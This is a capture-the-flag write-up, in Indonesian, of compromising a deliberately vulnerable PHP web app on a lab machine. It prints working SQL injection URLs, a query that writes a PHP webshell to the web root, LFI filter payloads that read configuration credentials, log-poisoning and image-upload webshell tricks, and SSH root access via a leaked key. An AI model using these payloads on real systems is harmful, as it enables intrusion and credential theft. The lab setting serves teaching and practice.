Surabaya Hacker Link Underground Write Up

Surabaya Hacker Link Underground Write Up

Challenges Information

Ini adalah write-up challenges dari Surabaya Hacker Link untuk mesin Underground, mesin ini dibuat dengan menggunakan salah satu Vulnerable Web yang biasa SHL gunakan untuk demo session dengan beberapa vulnerability yang telah diperbaiki agar challenges ini sedikit menarik.

Challenges

Pada web Forum Surabaya Hacker Link terdapat informasi challenges baru pengganti Heaven (Write-up Heaven VM ada di sini) informasi pada forum saya rasa cukup jelas seperti jangan merusak, jangan spoil, take the root and read root.txt, di sini saya menggunakan IP 110.93.14.30 default nginx page ketika kita mengakses IP tersebut hanya terdapat halaman default dari nginx dan tidak ada informasi lainnya yang bisa digunakan untuk melakukan step selanjutanya sehingga kita perlu melakukan gathering information mendalam

Information Gathering and Reconnaisance

Seperti biasa pada tahap ini kita mencoba mencari tahu informasi lebih dari IP tersebut seperti mencari port dengan nmap, fuzzing directory dan file yang memungkinkan kita menemukan endpoint lain

nmap result Hasil Nmap menampilkan bahwa terdapat 3 port yang terbuka yaitu port 80 yang menjalankan web service nginx seperti pada informasi sebelumnya, port 2222 dan port 31337 yang menjalankan ssh service

Untuk fuzzing disini menggunakan FFUF dengan wordlist dirb dan dirsearch yang ada pada kali linux

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://110.93.14.30/FUZZ

Hasil Fuzzing menunjukan bahwa terdapat file index.html, info.php dan robots.txt ffuf command ffuf result phpinfo file Pada file phpinfo.php menampilkan output dari fungsi phpinfo() sehingga kita bisa pahami bahwa mesin ini menjalankan php

robots txt file
Pada file robots.txt yang umum digunakan untuk mengatur search engine crawler terdapat disallow pada file x.txt, disini kita coba akses file x.txt juga

x txt file Pada file x.txt hanya ada umpatan dan sedikit clue untuk menggunakan open source web vulnerability scanner, di sini langsung kepikiran nikto, kita coba scan juga menggunakan nikto

Hasil Nikto sebagai berikut nikto result Terdapat readme.txt yang tidak terdeteksi ketika dilakukan fuzzing, ini umum terjadi karena wordlist yang kita gunakan kurang

readme txt file Di dalam file readme.txt menjelaskan bahwa pada server ini terdapat aplikasi SVWA yang telah di-patch untuk beberapa vulnerability-nya, berdasarkan informasi tersebut kita coba mencoba mengakses direcotry SVWA/svwa dari web service dengan harapan sesuai dengan informasi yang disampaikan pada readme.txt

http://110.93.14.30/svwa/

H3llcome Dan ternyata dugaan benar, terdapat aplikasi SVWA yang terinstall pada server, dengan ini kita bisa melanjutkan ke tahap selanjutnya

Exploitation

Setelah mendapatkan tampilan h3llcome, maka di sini kita bisa langsung mencoba fitur yang ada pada web ini dan mencari exploit yang bisa digunakan untuk mendapatkan akses ke dalam server, pada challenges ini terdapat beberapa cara untuk exploitasi untuk mendapatkan credentials dari low user

Exploit 1 SQL Injection to Write Webshell (Excellent)

read acticle feature Pada halaman awal terdapat list artikel yang ada pada website yang bisa kita baca, ketika kita membuka salah satu artikel tersebut kita akan diarahkan pada file read.php, pada file ini terdapat celah sql injection dikarenakan pada parameter id tidak di validasi dengan baik sehingga dapat digunakan oleh penyerang untuk melakukan kontrol query dan mengambil data lain yang ada pada database Berikut adalah payload yang kita gunakan untuk melakukan sql injection dengan union based untuk memunculkan user yang digunakan saat ini data database yang digunakan

http://110.93.14.30/svwa/read.php?id='1' union select 1,concat(user(),0x3a,database()),3,4--+-

extract username and database setelah berhasil mengetahui user dan database yang digunakan, kita akan mencoba melakukan checking, apakah user saat ini memiliki privileges file, seperti yang kita tahu kita dapat melakukan upload webshell menggunakan sql injection dengan syarat user saat ini memiliki privileges files dan memiliki permission pada directory yang dapat diakses melalui service web

http://110.93.14.30/svwa/read.php?id='1' union select 1,file_priv,3,4 from mysql.user--+-

sql injection privileges check pada halaman website menampilkan Y dengan arti kita memiliki privileges file, maka dari itu kita dapat mencoba untuk melakukan write file, namun kondisi saat ini kita tidak tahu path file web server, kembali pada hasil sebelumnya terdapat file phpinfo.php yang juga menampilkan path lokasi path webserver document root from phpinfo dengan ini kita dapat mengetahui lokai document root dari web server, maka dari itu kita akan coba untuk melakukan write ke directory /webroot dengan nama hehe.php dan isi yang memanggil fungsi phpinfo, hal ini dilakukan sebagai test juga apakah permission pada webroot bisa diwrite oleh sql atau tidak, berikut adalah payload yang digunakan untuk write webshell pada document root server dengan memanfaatkan privileges file pada sql injection

http://110.93.14.30/svwa/read.php?id='1' union select 1,"<?php phpinfo(); ?>",3,4 into outfile "/webroot/hehe.php"--+-

write php info to document root setelah kita menjalankan payload tersebut, pada web tidak akan tampil apapun sehingga perlu dilakukan validasi manual dengan cara mengakses langsung file hehe.php phpinfo running well ketika kita akses file hehe.php muncul php information dari fungsi phpinfo, dengan ini bisa kita simpulkan bahwa kita dapat melakukan write pada document root tanpa nunggu lama kita langsung upload saja webshell dengan cara ini

http://110.93.14.30/svwa/read.php?id='-1'union select 1,"<?php system($_GET['p']); ?>",3,4 into outfile "/webroot/hehex.php"--+-

sql-injection-upload-web-shell seperti sebelumnya, tidak ada yang tampil pada halaman webnya ketika kita jalankan, langsung saja akses webshell yang telah ditulis remote code execution from sql injection dan kita berhasil menjalankan command pada server, di sini kita coba cek id, whoami dan uname -a

Exploit 2 Local File Inclution PHP wrapper (Good)

Pada exploit ini kita membutuhkan akses ke dalam panel aplikasi web, maka dari itu kita buat user dulu dari fitur login yang ada pada aplikasi create user on svwa setelah berhasil membuat user kita langsung saja login possible local file inclusion setelah masuk ke dalam panel, bisa dilihat pada URL bahwa halaman panel ini memanggil file page.php, dengan ini kita bisa mencoba untuk melakukan local file inclusion dengan merubah file page.php dengan /etc/paswd seperti yang kita tahu /etc/passwd merupakan file yang ada pada sistem operasi linux yang memuat data user yang ada pada sistem local-file-inclusion-read-etc-passwd ketika dirubah, muncul data dari /etc/passwd dengan ini bisa kita pahami bahwa rentan terhadap local file inclusion, kita coba beberapa payload lfi seperti PHP Wrapper, RFI, LFI, pada saat dicoba payload PHP Wrapper untuk membaca file index.php dan melakukan encode base64

http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=index.php

decode base64 cyberchef dengan ini kita bisa melihat source code index.php yang ada pada server namun source tersebut diencode menggunakan base64, kita coba decode menggunakan cyberchef read db koneksi.php from lfi pada source tersebut terlihat ada pemanggilan terhadap file db/koneksi.php, kita coba lihat isi file tersebut

http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=../db/koneksi.php

LFI responses LFI read database connection dan kita berhasil mendapatkan credentials database yang bisa digunakan untuk spraying pada service yang lain

Exploit 3 Local File Inclusion Access Log Poisoning (Bad)

Untuk exploit ini mirip dengan cara sebelumnya, yaitu mengexplorasi celah local file inlcusion, di sini kita akan melakukan inclusion terhadap file access log web server LFI read web access log dengan ini penyerang dapat melakukan poisoning terhadap access log server untuk menjalankan malicious script seperti webshell, kita langsung melakukan request ke server dengan nama user agent yang berisi webshell php, karena jika webshell ditulis pada url field akan terjadi encoding di karakter special sehingga kita menggunakan field user agent yang tidak ada encoding untuk karakter special, jangan lupa escape $ karena pada terminal akan dianggap sebagai variable curl php webshell user agent setelah melakukan request tersebut kita coba mengakses kembali LFI yang memuat isi file access log webserver dan ditambah parameter yang digunakan untuk menjalankan command melalui webshell webshell from access log kita berhasil menjalankan command, exploit ini tidak direkomendasikan karena ketika kita panggil isi access log akan muncul banyak data sehingga perlu dilakukan filtering serta butuh waktu dan resource yang besar saat ditampilkan pada browser

Exploit 4 Local File Inclution from Image Upload (Excellent)

Untuk exploit ini masih mirip dengan cara sebelumnya, yaitu mengexplorasi celah local file inclusion lagi, di sini kita dapat melakukan inclusion terhadap file gambar yang kita unggah melalui fitur upload foto yang ada pada halaman utama setelah melakukan autentikasi Upload Feature di sini kita membuat file webshell php, namun untuk tipe filenya kita rubah menjadi png seperti shell.php ke shell.png dan langsung saja kita upload upload webshell rename to png file berhasil diunggah namun browser tidak menampilkan data karena memang isi dari file tersebut bukanlah data gambar melainkan script webshell php, kita langsung saja panggil file tersebut melalui file inclusion sebelumnya web shell from access log local file inclusion kita berhasil menjalankan command server dengan memanggil parameter yang digunakan untuk menjalankan command

Exploit 5 SQL Injection to Read koneksi.php + etc passwd (Good)

Untuk exploit ini seperti pada exploit pada nomor 1, yaitu sql injection namun karena kita mendapatkan privileges file, kita dapat membaca file index.php dari document root yang didapatkan informasinya melalui phpinfo.php dan dengan itu kita bisa membaca dan mengetahui lokasi koneksi database aplikasi sql injection read db koneksi.php

Setelah mendapatkan access melalui salah satu dari 5 cara tersebut kita bisa memanfaakan informasi dari koneksi.php dan /etc/passwd, dengan ini kita tahu bahwa pada sistem terdaftar user human pada /etc/passwd dan pada service database lalu terdapat kredential human pada file koneksi.php, mesikpun 2 hal tersebut merupakan service yang berbeda namun hal ini sering dilakukan oleh manusia yang ga mau ribet dengan password maka password disamakan, pada case ini kita mencoba peruntungan dengan memanfaatkan human error ini

maka kita akan mencoba melakukan login pada service lain yang telah ditemukan melalui nmap sebelumnya dengan credentials dari koneksi.php, hasil recon sebelumnya menunjukan bahwa terdapat port 22 dan 2222 kita akan coba satu-satu ssh to human from reused cred dan kita berhasil masuk sebagai human dengan ssh port 2222 Human Pwned

Privileges Escalation

Setelah mendapatkan akses human kita dapat langsung mencari cara untuk melakukan privileges escalation / menaikan hak akses kita ke hak akses yang lebih tinggi, pada challenges ini tidak dipungkiri bahwa privilges escalation-nya sangat kurang, hanya dengan membaca file backup ssh kita sudah bisa masuk sebagai root, karena kita tidak tau lokasi file backupnya kita bisa menggunakan cheatsheet dari g0tm1lk untuk mencari informasi yang bisa digunakan untuk melakukan privileges escalation

pada saat mencari writetable directory, kita menemukan sebuah directory yang tidak umum pada /var/backup/, berdasarkan nama directorynya kita bisa asumsikan bahwa file-file yang ada pada directory tersebut merupakan isi .ssh dari user root server find writeable directory ternyata isi dari authorized_keys merupakan id_rsa.pub itu sendiri, sedangkan id_rsa adalah private key dari id_rsa.pub, bisa kita simpulkan bahwa user root dapat melakukan ssh ke dalam server dengan menggunakan private key tersebut, langsung saja kita ssh sebagai root dengan menggunakan private key tersebut
ssh key from backup file
berikut adalah cara untuk ssh langsung dari server

ssh -i id_rsa root@localhost

ssh to root from server dan kita berhasil untuk mendapatkan akses root dari challenges ini, untuk koneksi ssh ke root serndiri bisa juga dilakukan dengan cara lain, yaitu meng-copy isi dari id_rsa ke local machine kita dan merubah permissionnya menjadi 400 karena id_rsa tidak akan bisa digunakan jika permissionnya terlalu terbuka ssh to root from kali dan kita coba intip isi dari root.txt read root.txt Challenges Completed

For Fun Vulnerability

dari 5 exploit sebelumnya, sebenarnya ada beberapa vulnerability lain yang bisa ditemukan, namun vulnerability ini tidak bisa digunakan untuk melanjutkan perjalanan pwning machine ini

XSS

xss for fun XSS for fun

Execution After Redirect

Pada halaman admin, ketika kita lakukan intercept menggunakan burp suite, server memberikan respon header Location: login.php dimana kita akan dilakukan redirect ke halaman login, namun body pada response server tersebut tampil, dengan informasi ini kita coba untuk menampilkan isi dari body tersebut ke browser dengan menghilangkan aksi redirect menggunakan burp suite proxy match and replace redirect header with server body response konfigurasi burp suite response header match and replace to blank match and replace burp saat kita akses kembali halaman admin, maka pada browser akan muncul dashboard yang akan tampil ketika kita sudah melakukan authentication dengan benar, namun pada dashboard ini tidak ada fitur yang bisa digunakan karena aplikasi web tidak dapat mengetahui sesi user / akses role user yang kita gunakan logged in

fin.